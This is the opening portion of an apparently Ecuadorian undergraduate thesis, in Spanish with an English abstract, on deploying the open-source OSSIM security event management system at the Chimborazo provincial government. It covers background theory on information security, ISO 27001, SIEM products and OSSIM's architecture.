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El Gobierno Autónomo Descentralizado (GAD) de la Provincia de Chimborazo necesita implementar un sistema que gestione eventos de seguridad de información para mantener su red, activos, datos; seguros. Además conocer las vulnerabilidades que posean y pueda afectar al desenvolvimiento normal de la institución todo esto a un bajo costo.  Las instituciones poseen activos de red, manejan información valiosa que no solo es de interés de sus miembros sino de personas ajenas con intensiones desconocidas incluso maliciosas y es necesario mantener los activos y la información, monitoreada y segura. Es por eso que se utilizó OPEN SOURCE SECURITY INFORMATION MANAGEMENT (OSSIM) una herramienta de software libre que monitorea redes busca sus vulnerabilidades y alerta al administrador acerca de ataques a la red. Previo a la implementación del sistema se escaneo la red  para conocer como está conformada y su tamaño, conocido esto se seleccionó el servidor donde se instalara OSSIM esto es fundamental porque del tamaño de la red dependerá las características del servidor, instalado el sistema comenzó a monitorear la red y los servidores en los cuales nos enfocamos más por ser activos importantes, y recolectar datos para establecer vulnerabilidades y encontrar ataques a la red utilizando su motor de correlación, parte fundamental del sistema, para luego mostrarlos en informes que el sistema genera automáticamente. Los resultados fueron que la red posee cerca de 412 activos, 33 softwares diferentes, algunos caducos y puertos desconocidos abiertos poniendo en riesgo la red, en los servidores se encontraron 1 vulnerabilidad seria y 6 altas, el sistema generó alerta e informes normalmente y las pruebas de concepto realizadas las pasó sin problemas. Se implementó exitosamente OSSIM, una herramienta útil, que usa la correlación para determinar las vulnerabilidades y los riesgos que aquejan la red, lo atractivo de OSSIM es que puede implementarse sin gastar mucho dinero. Se recomienda actualizar el sistema cada cierto tiempo ya que es de código abierto y evoluciona continuamente además aumentar la memoria RAM si crece la red

Palabras clave: < SEGURIDADINFORMATICA > < INFORMACION DE GESTION> < METODO DE CORRELACION> < GESTION DE EVENTOS > < OPEN SOURCE SECURITY INFORMATION MANAGEMENT (OSSIM)> < RED LAN> <SERVIDORES [INFORMATICA]>
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Decentralized Autonomous Government (GAD) of the Province of Chimborazo needs to implement a system to manage security event information to keep your network and data source asset. Also, it knows vulnerabilities that have and can affect the normal development of the institution all at a low cost. The institutions have network assets; manage valuable information that is of interest not only of tis members but outsiders unfamiliar with even malicious intentions and is necessary to maintain asset and information, monitored and safe. Thats why we used OPEN SOURCE SECURITY INFORMATION MANAGEMENT (OSSIM) free software tool that monitors networks, looking for vulnerabilities and alerts the administrator about network attack. Prior to implementing the system network to know how it is forme and its size know that the server where OSSIM will be installed this is fundamental was selected  because of the size of the network will dependo n the characteristics of the server, the installed system began monitoring is scanning the network and the servers on which we focus more to be important assets, and collect data toestablish vulnerabilities and find network attacks using its correlation engine , a key part of the system, and then display them on reports that the system automatically generates. The results were that the network has about 324 assets, 33 different kind of software, some outdated and unknown open ports threatening the network, servers one serious vulnerability and 6 high, the system, generated alerts and reports are normally found and tests made the concept went smoothly. OSSIM is successfully implemented; a useful tool that uses the correlation to determine the vulnerabilities and risk that affect the network, the attractiveness of OSSIM is that it can be implemented without spending much money. PLese update your system from time to time as it is open source and continuously evolves further increase the RAM if the networks grows
[bookmark: _GoBack]
KEYWORDS: COMPUTING SECURITY, INFORMATION MANAGEMENT, CORRELATION METHOD, EVENT MANAGEMENT, OPEN SOURCE SECURITY INFORMATION MANAGEMENT (OSSIM), LAN NETWORK, SERVERS (COMPUTING)
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Debido a que en la actualidad la información que manejan las empresas e instituciones es fundamental para su normal funcionamiento, mantenerla segura de ataques informáticos, virus, y otros agentes malignos que puedan comprometer su integridad, confidencialidad y disponibilidad es un tema de suma importancia hoy en día.

Pero no solo la información que posean las empresas e instituciones es importante proteger, los activos de la red (routers, switches, servidores, y computadores) también deben ser protegidos de ataques que pueden causar daños y malfuncionamiento de los mismos.

Lo que se pretende con este trabajo es escanear la infraestructura de red para conocer como está conformada, luego de esto se procederá a implementar un gestor de eventos de seguridad de la información para tener un monitoreo de la red, conocer sus vulnerabilidades y las falencias que esta pueda presentar para tratar minimizar los ataques informáticos o eventos de seguridad en el GAD de la Provincia de Chimborazo para hacerlo asumible para el administrador.

Para centralizar, monitorear y tener un control de los eventos de seguridad de la información se utilizó el OSSIM un software de código abierto que integra diferentes herramientas de código abierto como nagios, snort, nessus etc. Este sistema permitirá detectar anomalías que se producen en la red, visualizar las fallas de seguridad y vulnerabilidades que la red presentó. Luego de que el sistema sea implementado se podrá tener con control y monitoreo centralizado de la infraestructura de red del GAD de la Provincia de Chimborazo y se reducirá las vulnerabilidades que se encontró previamente y ahora se puede conocer en tiempo real cualquier evento de seguridad que ocurra.

Antecedentes

La Seguridad informática se enfoca en garantizar o salvaguardar la información que se maneje en los sistemas de información, es un método que se usa para examinar adecuadamente los problemas y vulnerabilidades en la administración de una organización. Desafortunadamente, la Seguridad Informática está llena de amenazas y vulnerabilidades, las cuales obligan a las organizaciones a implementar métodos contra estos aspectos, es precisamente ante este acontecimiento que surgen algunos productos que asisten a la organización en la solución de problemas de seguridad. 
Las infraestructuras de red actualmente se encuentran inmersa en varios problemas de seguridad de la información debido al aumento de amenazas de seguridad, lo cual dificulta el adecuado funcionamiento de los sistemas de información. Kaspersky Lab revelo que en 2013 el 68% de las empresas en América Latina ha sido víctima de virus, gusanos, spyware y otros programas maliciosos. 

Las cifras muestran que el 63% de las pequeñas empresas y el 60% de las organizaciones de tamaño medio a nivel global admiten que han sufrido un ataque de malware en los últimos 12 meses. Las empresas más grandes, por el contrario, son el blanco de otro tipo de ataques, como el ciberespionaje, phishing y ataques de DoS. Garantizar un nivel de protección total es virtualmente imposible, incluso en el caso de disponer de un presupuesto ilimitado.

El propósito de un sistema de gestión de eventos de seguridad de la información es, por tanto, garantizar que los riesgos de la seguridad de la información sean conocidos, asumidos, gestionados por la organización de una forma documentada, sistemática, estructurada, repetible, eficiente y adaptada a los cambios que se produzcan en los riesgos, el entorno y las tecnologías.2 Está por demás decir que no se puede tener seguridad al 100% en una red, pero aplicando algunas de las estrategias de protección actuales se podrá obtener una seguridad aceptable. La infraestructura de red del GAD de la Provincia de Chimborazo no cuenta con un sistema de gestión de eventos de seguridad lo cual ha llevado a que se dificulte la monitorización de todos los dispositivos de la red por lo que es necesaria su implementación. 

Justificación 

Debido a que la información es el activo más valioso que posee una empresa o institución para el buen funcionamiento de esta, mantener su integridad, confidencialidad y disponibilidad es fundamental para lograr las metas de una organización es por eso que es necesario un sistema que garantice la seguridad de la información.

Lamentablemente es relativamente sencillo tener herramientas que ayudan a las personas no autorizadas llegar a la información protegida, las bases de datos, los equipos y la red de datos esta sujetos a amenazas que hoy en día ha aumentado tales como: hackers, rodos de identidad spam, virus, espionaje empresarial y robos de información. 

Para proteger a las organizaciones de estas amenazas es necesario establecer un sistema que pueda ayudar a establecer procedimientos adecuados para el control de la seguridad basados en la evaluación de riesgos y una medición de la eficacia.

Al implantar un sistema de gestión de eventos de seguridad de la información se obtendrá una reducción de los riesgos debido al que se establecerá controles sobre ellos así reducimos las amenazas hasta alcanzar un nivel asumible para la institución o empresa. De este modo si se produce una incidencia, los daños se minimizan y el funcionamiento normal de las organizaciones está asegurada. Por otro lado se produce un ahorro de costes debido a una racionalización de recursos, se eliminan los gastos innecesarios e ineficientes producidas por desestimar o sobrestimar riesgos. 

Se podría implementar otros sistemas pero son de paga por licencia y otros que son gratuitos son muy básicos y lo que se requiere es un monitoreo completo de todos los eventos que ocurra por lo que OSSIM es uno de los sistemas que nos da esta opción ya que a más de darnos una información completa y centralizada de los eventos de seguridad posee correlación es una de las técnicas más importantes de este sistema, reduce los falsos positivos y alertas. El número total de eventos disminuye a sólo algunas alarmas en la correlación, por lo cual son más fáciles de analizar. La correlación se lleva a cabo de diferentes maneras, dependiendo del tipo de evento que recibe OSSIM y del tipo de información que ha almacenado sobre el destino de ataque. Lo más importante es que es de es de código abierto lo que evita gastos altos de dinero ya que no requiere una licencia

El presente proyecto pretende monitorear y conocer todos las vulnerabilidades y riesgos que pueden existir dentro de la red del GAD de la Provincia de Chimborazo, mediante la aplicación del sistema (OSSIM) procederemos a detectar los distintos ataques, riesgos y vulnerabilidades a fin de que la información de esta institución este a salvo y sus recursos activos de red no sufran daños a causa de virus y otros agentes dañinos.

Objetivo general

Implementar un sistema de gestión de eventos de seguridad de la información en la infraestructura de red del GAD de la Provincia de Chimborazo.



Objetivos específicos

· Conocer la infraestructura actual y los activos de red del edificio del GAD de la Provincia de Chimborazo
· Implementar el sistema de gestión de eventos de seguridad de la información. 
· Determinar las vulnerabilidades que se puedan presentar en la red.
· Comprobar el funcionamiento a través de pruebas de concepto a la red, generación de información del sistema.
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1 [bookmark: _Toc426124184][bookmark: _Toc434438389]MARCO TEORICO


[bookmark: _Toc426124185][bookmark: _Toc434438390]Introducción	

El aumento acelerado del uso de las nuevas tecnologías en nuestras vidas, y la mayor dependencia de los sistemas de información, hacen que la seguridad de la información juegue un roll fundamental en nuestras actividades diarias.

Obviamente garantizar la seguridad de la información en cualquier tipo de organización ya sea grande o pequeña, y sin importar la actividad que estas desarrollan es un aspecto critico que se debe tener siempre en cuenta por parte del administrador de la red.

Por otra parte el acceso fácil a distintas herramientas para la explotar la vulnerabilidad de cualquier sistema hace que personas malintencionadas y muchas veces sin tener mayor conocimiento sobre redes quieran tener acceso a información valiosa que poseen las instituciones haciendo que están presenten problemas en su desempeño diario ocasionando daños en la red, sus equipos y lo que es aún más importante causando pérdidas económicas. 

Una de las causas más importantes para la existencia de la seguridad en redes y la información es el esfuerzo por mantenerse un paso adelante de los hackers malintencionados. De la misma manera que los médicos tratan de prevenir nuevas enfermedades tratando problemas existentes, los profesionales de la seguridad en redes intentan prevenir ataques minimizando los efectos de los ataques en tiempo real. 

Es por eso que este capítulo hablaremos del conceptos principales elementos y principios de la seguridad de la información así, como también de las diferentes riesgos, vulnerabilidades, y ataques que una infraestructura de red pueda sufrir; además de cuáles son los métodos para mitigar dichos eventos de seguridad.



[bookmark: _Toc426124186][bookmark: _Toc434438391]Seguridad de la información 

La seguridad de la información se enfoca en garantizar o salvaguardar los datos que se maneje en los sistemas de información, es un método  que se  usa  para  examinar  adecuadamente  los  problemas  y  vulnerabilidades  en  la administración de una organización.  Desafortunadamente, la seguridad de la información está llena de amenazas y vulnerabilidades, las cuales obligan a las organizaciones a implementar métodos contra estos aspectos, es precisamente ante este acontecimiento que surgen algunos productos que asisten a la organización en la solución de problemas de seguridad. 

Es necesario proteger de la información de una gran gama de amenazas para poder garantizar el desempeño continuo de cualquier institución. Esto se puede lograr implementando un adecuado sistema que pueda monitorear y controlar los diferentes eventos o incidentes de seguridad que puedan ocurrir.

· Evento de seguridad de información: Cualquier evento de seguridad de la información es una ocurrencia identificada del estado de sistema, servicio o red indicando una posible falla en la política de seguridad de la información o falla en los controles, o una situación previamente desconocida que puede ser relevante para la seguridad. 
· Incidente de seguridad de información: Es indicado por un solo evento o una serie de eventos inesperados de seguridad de la información que tienen una probabilidad significativa de comprometer las operaciones comerciales y amenazar la seguridad de la información.

[bookmark: _Toc426124187][bookmark: _Toc434438392]Principios de la seguridad de la información

La seguridad de la información se basa en tres principios fundamentales sin ellos proteger los datos importantes de la institución una seria una pérdida de tiempo y sobretodo se pone en riesgo la red, sus activos, la información y el normal funcionamiento de la entidad.

[bookmark: _Toc434438393]Confidencialidad

Se refiere a la privacidad de los elementos de información almacenados y procesados en un sistema informático, basándose en este principio, las herramientas de seguridad informática deben proteger el sistema de invasores y accesos por parte de personas o programas no autorizados. Este principio es particularmente importante en sistemas distribuidos, es decir, aquellos en los que los usuarios, computadores y datos residen en localidades diferentes, pero están físicamente y lógicamente interconectados. 

[bookmark: _Toc434438394]Integridad

Se refiere a la validez y consistencia de los elementos de información almacenados y procesados en un sistema informático. Basándose en este principio, las herramientas de seguridad informática deben asegurar que los procesos de actualización estén bien sincronizados y no se dupliquen, de forma que todos los elementos del sistema manipulen adecuadamente los mismos datos. Este principio es importante en sistemas descentralizados, es decir, aquellos en los que diferentes usuarios, computadores y procesos comparten la misma información.1

[bookmark: _Toc434438395]Disponibilidad

Se refiere a la continuidad de acceso a los elementos de información almacenados y procesados en un sistema informático. Basándose en este principio, las herramientas de seguridad informática deben reforzar la permanencia del sistema, en condiciones de actividad adecuadas para que los usuarios accedan a los datos con la frecuencia y dedicación que requieran, este principio es importante en sistemas informáticos cuyos compromisos con el usuario, son prestar servicio permanente.

[bookmark: _Toc426124188][bookmark: _Toc434438396]Elementos que deben ser protegidos en la red	

La seguridad de la información está concebida para proteger los activos informáticos como: Siendo esta la parte fundamental para el almacenamiento y gestión de la información, debe ser protegida por un área encargada de velar que los equipos funcionen adecuadamente y protegerlos en casos de fallas, robos, fallas en el suministro eléctrico, especialmente ataques informáticos y cualquier otro factor que atente contra la infraestructura informática.  Algunos de los recursos que deben ser tomados en cuenta para su protección dentro de la red son los siguientes
 
· Computadoras host y servidores 
· Dispositivos de interconexión
· Servidores de terminal 
· Software para conexión de red y de aplicaciones 
· La información de archivos y bases de datos  
1 http://www.dspace.uce.edu.ec/handle/25000/365
La política de seguridad de los sitios debe tomar en cuenta la protección de estos recursos. Debido a que el sitio está conectado a otras redes, la política de seguridad del sitio debe considerar las necesidades y requerimientos de seguridad de todas las redes interconectadas.

[bookmark: _Toc426124189][bookmark: _Toc434438397]Riesgos, amenazas y vulnerabilidades a la seguridad de la información 

Para aplicar controles adecuados de seguridad, es preciso comprender primero quién o qué es lo que amenaza dicho entorno, así como conocer los riesgos asociados a dichas situaciones si llegan a materializarse.

[bookmark: _Toc426124190][bookmark: _Toc434438398]Riesgo informático

El riesgo es un incidente o situación, que ocurre en un sitio concreto durante un intervalo de tiempo determinado, con consecuencias positivas o negativas que podrían afectar el cumplimiento de objetivos. La Organización Internacional de Normalización (ISO) define riesgo tecnológico o informático (Guías para la Gestión de la Seguridad) como: La probabilidad de que una amenaza se materialice de acuerdo al nivel de vulnerabilidad existente de un activo, generando un impacto específico, el cual puede estar representado por pérdidas y daños.

[bookmark: _Toc434438399]Amenazas

[bookmark: 03] Las amenazas son eventos que pueden causar alteraciones a la información de la organización ocasionándole pérdidas materiales, económicas, de información, y de prestigio. Las amenazas se consideran como exteriores a cualquier sistema, es posible establecer medidas para protegerse de las amenazas, pero prácticamente es imposible controlarlas y menos aún eliminarlas. Aunque todas las amenazas tienen la característica de ser las posibles causantes de destrucción a los sistemas, las amenazas pueden tener diferentes orígenes: humanas, de hardware, de software y de red.2

[bookmark: _Toc434438400]Vulnerabilidades

Constituyen el otro factor que pone en peligro la seguridad de un sistema, generalmente se cree que una vulnerabilidad es un punto débil de un sistema y aunque no es una definición incorrecta, tampoco expresa en su totalidad  lo que es una vulnerabilidad.
2 http://redyseguridad.fi-p.unam.mx/proyectos/tsi/capi/Cap2.html
Una vulnerabilidad informática es un elemento de un sistema informático que puede ser aprovechado por un atacante para violar la seguridad, así mismo pueden causar daños por sí mismos sin tratarse de un ataque intencionado. A las vulnerabilidades se les consideran un elemento interno del sistema, por lo que es tarea de los administradores y usuarios el detectarlos, valorarlos y reducirlos. 

[bookmark: _Toc434438401]Norma iso/iec 27001

El estándar para la seguridad de la información ISO/IEC 27001, fue aprobado y publicado como estándar internacional en octubre de 2005 por International Organization for Standardization y por la comisión International Electrotechnical Commission. Este especifica los requisitos necesarios para establecer, implantar, mantener y mejorar un Sistema de Gestión de la Seguridad de la Información (SGSI) definiendo los requisitos necesarios para establecer, implantar, mantener y mejorar un sistema de gestión de la seguridad de la información (SGSI).
La seguridad de la información es cada vez más importante. Así pues, la información es un factor decisivo para el éxito de una empresa. Es, por tanto, de máxima prioridad, administrar y proteger la información. Los datos que se procesan electrónicamente especialmente se exponen a constantes amenazas y riesgos. Por consiguiente, aumentan las exigencias de seguridad como la disponibilidad, confidencialidad e integridad. Esto implica la protección de los sistemas de información y comunicación frente a las ofensivas crecientes en la red, así como, por ejemplo, la prevención de pérdidas por robo y los daños causados por acciones externas, o la minimización de las consecuencias provocadas por el comportamiento negligente del ser humano. Para trabajar estos posibles factores que impiden la eficiencia, las medidas organizativas y técnicas no son suficientes Un comportamiento consciente de todos los trabajadores sobre la seguridad de la información es un requisito previo para conseguir una protección integral de datos. La implementación de un Sistema de Gestión de Seguridad de la Información (SGSI) basado en la norma internacional ISO / IEC 27 001 apoya a las empresas en la identificación sistemática y el análisis de riesgos, que surgen con el uso de la información, hasta la implementación y el mantenimiento de mecanismos adecuados de vigilancia y control.

[bookmark: _Toc434438402]SGSI

Un Sistema de Gestión de Seguridad de la Información (SGSI), según la Norma UNE-ISO/IEC 27001, es una parte del sistema de gestión general, basada en un enfoque de riesgo empresarial, que se establece para crear, implementar, operar, supervisar, revisar, mantener y mejorar la seguridad de la información. Esto significa que se va a dejar de operar de una manera intuitiva y se va a empezar a tomar el control sobre lo que sucede en los sistemas de información y sobre la propia información que se maneja en la organización. Nos permitirá conocer mejor nuestra organización, cómo funciona y qué podemos hacer para que la situación mejore.
SGSI como sus siglas lo indican se refiere a un Sistema de Gestión de la Seguridad de la Información, una herramienta de mucha utilidad y de importante ayuda para la gestión de las empresas. Es el concepto central sobre el que se construye la norma ISO 27001.
Proteger la información que se encuentra expuesta a las diferentes amenazas, es necesario conocer y afrontar de manera ordenada los riesgos a los que está sometida la información.
También, adopta el modelo de procesos "Plan-Do-Check-Act" (PDCA) que significa "Planificar-Hacer-Controlar-Actuar" que se aplica para estructurar todos los procesos del SGSI.
· Plan (planificar): Es la fase de diseño del SGSI, donde se realiza la evaluación de riesgos de seguridad de la información y la selección de controles adecuados. 
· Do (hacer): En esta fase envuelve la implantación y utilización de los controles. 
· Check (controlar): Es una fase que tiene como objetivo revisar y evaluar el desempeño (eficiencia y eficacia) del SGSI. 
· Act (actuar): En esta fase se realizan cambios cuando sea necesario para llevar de vuelta el SGSI a máximo rendimiento.

[bookmark: _Toc434438403]SIEM

El acrónimo SIEM se atribuye a los analistas de Gartner Amrit Williams y Nicolett Marcos que se deriva de dos tecnologías independientes, pero complementarias: el Administrador de Eventos de Seguridad (SEM por sus siglas en inglés) y el Administrador de Información de Seguridad (SIM por sus siglas en inglés). Estas dos tecnologías han convergido en una única solución conjunta conocida hoy como SIEM.

SEM fue una solución tecnológica que se centró en el seguimiento de eventos de seguridad en tiempo real, así como la correlación y el procesamiento. Estos eventos de seguridad eran típicamente alertas generadas por un dispositivo de seguridad de red, tales como un firewall o un Sistema de Detección de Intrusos (IDS por sus siglas en inglés). SIM, por otra parte, se centró en el análisis histórico de la información del archivo de registro para apoyar las investigaciones forenses y los informes. SIM a menudo analiza los mismos eventos que SEM, pero no lo hace en tiempo real. SIM centraliza el almacenamiento de registros, archivos, búsqueda, análisis de funciones y tiene sólidas capacidades de presentación de informes.

 Los sistemas SIEMs combinan las capacidades de cada una de estas tecnologías en una única solución, de hecho, las soluciones SIEM actuales con frecuencia incorporan una función de gestión de registros mucho más amplia. En el mercado existen varios de estos sistemas pero se eligió OSSMI para nuestra implementación a continuación se muestra un cuadro comparativo de OSSIM frente a otras tecnologías: 

[bookmark: _Toc433582234]Tabla 1-1 Cuadro comparativo de sistemas SIEM
	
	OSSIM
	ARCSIGHT
	RSA
	Net IQ
	IBM
	Symantec
	LogLogic
	Cisco

	GENERAL
	
	
	
	
	
	
	
	

	Costo Licencia
	Sin costo
	Muy alto
	Alto
	Alto
	Muy alto
	Alto
	Normal
	Normal

	FUNCIONALIDAD
	
	
	
	
	
	
	
	

	Sim/SIEM
	Si
	Si
	Si
	
	
	Si
	No
	Si

	Interfaz web
	Si
	
	
	No(win 32) 
	
	Si
	Si
	Si

	Log almacenamiento
	Si
	Si
	Si
	Si
	
	Si 
	Si
	Si

	Log correlación
	Si
	Si
	Si
	Si
	
	Si
	No
	

	Gestión incidentes
	Si
	Si
	Si
	Si
	
	Si
	Si
	Solo reportes

	Reportes DataMart
	Si
	Solo reportes
	Solo reportes
	Si
	
	
	
	

	HERRAMIENTAS
	
	
	
	
	
	
	
	

	Nids
	Snort
	No
	No
	No
	Si
	Symantec IDS
	No
	Si

	Vulnerabilidades
	Nessus
	No
	No
	No
	Si
	Symantec vulnerability assessment
	No
	

	Motor de red
	Ntop
	No
	No
	No
	No
	
	No
	No

	Det. Anomalias
	Spade
	No
	No
	No
	Si
	
	No
	Si

	Hids
	Ossec
	No
	No
	No
	Si
	Symantec IDS
	No
	No

	Inventario
	OCS
	No
	No
	No
	No
	
	No
	No

	Antivirus
	ClamAv
	No
	
	No
	No
	Norton
	No
	


Fuente: http://www.dspace.uce.edu.ec/handle/25000/365
Realizado por: MORALES, Ramiro; GUERRERO, Carlos, 2015

Según Gartner Inc. empresa consultora y de investigación de las tecnologías de la información en 2015, Alien Vault creadora de OSSIM y de USM su producto de paga se ubica como con sus productos como una empresa visionaria frente a los demás proveedores de sistemas SIEM

[image: Figure 1.Magic Quadrant for Security Information and Event Management]
[bookmark: _Toc433582592]                  Figura 1-1 Cuadrante mágico Gartner.
                  Fuente: http://www.gartner.com/technology/reprints.do?id=1-2J31FF4&ct=150706&st=sb

[bookmark: _Toc434438404]¿Qué es OSSIM?

Es un acrónimo para Open Source Security Information Management, en español podría traducirse como: Herramienta de Código Abierto para la Gestión de Seguridad de la Información. OSSIM no es tan sólo una herramienta, sino una combinación de herramientas, todas de código libre, que construyen una infraestructura de monitorización de la seguridad. Obtiene información completa y selecta, de los miles de eventos que reportan otras herramientas, logrando ser muy útil. A los administradores de red, les permite elegir el procedimiento que regirá la seguridad en el sistema de información, pudiendo así, detectar amenazas rápidamente y disponer de un nivel adecuado de protección para la información y equipos que permiten la comunicación dentro de la red. Al considerar que en muchas ocasiones se presenta grandes cantidades de alertas, de las cuales no todas son confiables, en los últimos años se han generado importancia para la seguridad de los sistemas de información.

El objetivo de OSSIM ha sido crear un framework capaz de recolectar toda la información de los diferentes plugins, para integrar e interrelacionar entre si y obtener una visualización única del estado de la red y con el mismo formato, con el objetivo de aumentar la capacidad de detección de anomalías, priorizar los eventos según el contexto en el que se producen y mejorar la visibilidad de la monitorización del estado de la red actual.


[bookmark: _Toc434438405]Capas de OSSIM

La principal finalidad de OSSIM es aprovechar al máximo las herramientas que usa para que la seguridad de la red sea mejor.  Proporciona al administrador de la red una vista detallada y de fácil compresión de los datos recolectados por los distintos plugins de monitoreo y los muestra en una interfaz web. Los componentes de OSSIM son módulos autónomos y pueden se configurados de manera que al administrador le convenga. 

Estos componentes pueden disponerse en distinto hardware, separando todos los componentes o colocando todos ellos juntos en un solo servidor. OSSIM puede monitorear eventos de cualquier clase de dispositivos comerciales o aplicaciones propietarias gracias a plugins específicos y genéricos configurables.  

[image: ]
[bookmark: _Toc433582593]       Figura 2-1 Capas de OSSIM
          Fuente: http://www.dspace.uce.edu.ec/handle/25000/365

Capa Inferior.- También denominado “Pre-procesado”. En esta capa se obtiene toda la información que recogen los detectores, monitores (sensores) y es enviada al sistema central donde se realiza la colección y la correlación de los diferentes eventos que ocurren en la red. Entre los preprocesadores dispersos en la red tenemos: 

· IDS (Detectores de patrones). 
· Detectores de anomalías. 
· Cortafuegos (Firewall). 
· Monitores

Capa Intermedia.- Es el nivel intermedio o nombrado el “Post-procesado”. OSSIM desarrolla un proceso de abstracción de los eventos incompresibles que suceden en los sistemas y los convierte en alarmas comprensibles para los administradores de la red, este proceso se lleva a cabo principalmente en el motor de correlación, donde el administrador crea directivas de correlación para unir diferentes eventos de bajo nivel en una única alarma de alto nivel,  cuyo  objetivo  es  aumentar  la  sensibilidad  y  la  fiabilidad  de  la  red. Los principales métodos de OSSIM son los siguientes: 

· Normalización  
· Correlación  
· Priorización  
· Valoración de Riesgos

Capa Superior.- Conocido como “Front-end”, en este nivel se ubica una herramienta de gestión, capaz de configurar y visualizar tanto los módulos externos como los propios del framework, permitiendo crear la topología de la red, inventariar activos, crear las políticas de seguridad, definir las reglas de correlación y enlazar las diferentes herramientas integradas. La visualización es mediante la consola web.

[bookmark: _Toc434438406]Arquitectura de OSSIM

La arquitectura de OSSIM se diferencia en dos partes, la primera se realiza a través de una arquitectura distribuida y el otro sobre una arquitectura centralizada, en ellas se desarrolla los dos instantes diferentes del proceso:  

· Pre-procesamiento: Que se realiza en los propios monitores y detectores distribuidos. 
· Post-procesamiento: Que se realiza en el servidor centralizado. 

En el siguiente gráfico se representa de una forma detallada la funcionalidad de cada uno de los dos procesos. 

[image: ]
[bookmark: _Toc433582594]                             Figura 3-1 Arquitectura de OSSIM
		     Fuente: https://www.alienvault.com/docs/ossim_fc4_cheo

OSSIM utiliza tres bases de datos heterogéneas para los distintos tipos de datos almacenados: 

· EDB base de datos de eventos, la más voluminosa pues almacena todos los eventos recibidos desde los detectores y monitores. 
· KDB base de datos del Framework, en la cual se almacena toda la información referente a la red y la definición de la política de seguridad. 
· UDB base de datos de perfiles, almacena todos los datos aprendidos por el monitor de perfiles. 

[bookmark: _Toc434438407]Funcionalidad

En la funcionalidad se define cada una de las tres capas que compone OSSIM. Cada una de ellas se descompone en varios niveles, formando nueve niveles que serán descritos uno a uno. En el siguiente gráfico se muestra todo los niveles.
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[bookmark: _Toc433582595]		Figura 4-1   Niveles de funcionamiento de OSSIM
		Fuente: https://www.alienvault.com/docs/ossim_fc4_cheo


[bookmark: _Toc434438408]Detectores de patrones

Llamamos detector a cualquier programa que escuche en la red, un socket o un fichero de log buscando patrones y produciendo eventos de seguridad cuando coincidan con dichos patrones. 
La funcionalidad de los detectores tradicionales está basada en patrones, y el mejor ejemplo es un IDS (Intrusion Detection System), que detectarán patrones definidos utilizando firmas o reglas.

OSSIM incluye algunos detectores por patrones de código abierto que se instalan en los sensores. El detector básico por patrones incluido dentro de OSSIM es el NIDS (Network Intrusion Detection System) Snort. El propio Snort incluye varios preprocesadores para la detección de ataques. Otros detectores incluidos son Snare y el HIDS (Host Intrusion Detection System) Osiris 
Detectores externos OSSIM también incluye un sistema recolector que permite la obtención de datos de otros dispositivos externos. Este sistema recolector es alimentado por plugins que hacen posible que se reciban datos de elementos externos, como puedan  ser sistemas operativos Windows, Linux y otros UNIX, firewalls como Checkpoint, o dispositivos de red como Cisco.
Se incluye una arquitectura de plugins personalizables que hace muy fácil la creación de un plugin específico para cualquier aplicación o dispositivo.

[bookmark: _Toc434438409]Detector de anomalías

La habilidad para detectar anomalías es más reciente que las coincidencias por patrones. En este caso no tenemos que decir al sistema de detección lo que es bueno y lo que es malo; puede aprender por sí mismo y alertarnos cuando estadísticamente el comportamiento se desvíe lo suficiente de lo que ha aprendido como normal. La detección por anomalías proporciona un punto de vista que es a la vez diferente y complementario a la detección por patrones. Esta técnica ofrece una solución para el control de acceso de usuarios privilegiados, como por ejemplo en los ataques internos realizados por empleados desleales, donde no se viola ninguna política de seguridad y no se ejecuta ningún exploit. En cambio sí que representan una anomalía en el uso y la forma de usar un servicio.3 Entre las funcionalidades detecta:

· Nuevos ataques que aún no están registrados por los detectores de patrones.
· Cuando un gusano es introducido desde la red interna o exista un ataque de spam, que pueden generar conexiones anómalas.  
· Uso de servicios con origen y destino anormales.
· El uso de activos en horarios anormales.
· Exceso de tráfico o de conexiones.  
3 http://myslide.es/documents/folleto-alienvault-ossim.html
OSSIM integra los siguientes detectores de anomalías:

· Aberrant Behaviour plugin para Ntop aprende el uso de parámetros y alerta cuando dichos parámetros se salen de los valores esperados.
· ArpWatch utilizado para detectar cambios de MAC.
· Pof utilizado para detección de cambios de sistema operativo.
· Pads y Nmap utilizado para detectar anomalías en los servicios de red. 

[bookmark: _Toc434438410]Sistema de colección y normalización

El sistema de colección y normalización proporciona unificación de todos los eventos de seguridad provenientes de las herramientas en una sola consola y formato. La colección de datos se puede hacer de dos formas en el sensor:

· Enviando los datos desde el equipo analizado usando protocolos nativos del equipo al sensor que actúa como concentrador.
· Instalando agentes en el equipo analizado que recopilan la información en el host y la envía inmediatamente al sensor. 
La normalización implica la existencia de un intérprete que conozca los tipos de formatos de alertas de los diferentes detectores, capaz de estandarizar el tratamiento y almacenar todos los eventos de seguridad en una única base de datos “EDB”. Para luego visualizar en la misma pantalla y con el mismo formato los eventos de seguridad de un momento específico ya sean del Router, firewall, IDS o de cualquier host. 

[bookmark: _Toc434438411]Políticas de priorización

La prioridad definida para una alerta será dependiente de la topología de la red, inventario de cada máquina y del rol que estas desempeñan en la organización. Si una alerta que se refiere a un ataque al servicio IIS de Microsoft, llega a una máquina con sistema operativos Unix y servidor Apache, la alerta debe de ser despriorizada. En cambio, si existe una conexión sospechosa de un usuario sobre un servidor, el sistema debe priorizar la alerta dependiendo de la ubicación del usuario y del uso de la conexión. El proceso de priorización de alertas se realiza mediante contextualización, es decir la valoración de la importancia de una alerta depende del escenario de la red. Este escenario está descrito en una base de conocimientos sobre la red formada por:

· Inventario de Máquinas y Redes (ip, mac, sistema operativo, servicios, etc.)
· Políticas de Acceso (desde donde a donde está permitido o prohibido).
Todos estos parámetros son alojados en la base de datos “KDB”, que es la base de datos que OSSIM utiliza para parametrizar el framework. De esta forma el sistema conocerá la topología de la red, características de las máquinas y las políticas de seguridad definidas. A través de la valoración de alertas se realizará una de las partes más importantes del filtrado de alertas recibidas por los detectores. Desde el sistema podremos configurar las siguientes características:

· Política de Seguridad 
· Inventario de las máquinas de la red. 
· Valoración de activos. 
· Valoración de amenazas. 
· Valoración de fiabilidad de cada alerta. 
· Definición de alarmas.

Para que el proceso de priorización sea efectivo se debe realizar una continua y detallada especificación de la situación de la organización. 

[bookmark: _Toc434438412]Valoración de riesgos

La arquitectura de OSSIM ha sido diseñada para que todas las decisiones que se tomen a la hora de actuar sobre una alerta, se apoyen en función de la valoración de riesgos calculada, por eso es necesario comprender el proceso de cálculo de valor de riesgo que OSSIM realiza sobre cada evento. La importancia que se debe dar a cada evento será dependiente de los tres factores siguientes: 

· El valor del activo “equipo” implicado sobre el evento. 
· La amenaza que representa el evento o cuánto daño puede hacer al activo implicado.
· La probabilidad de que este evento ocurra.

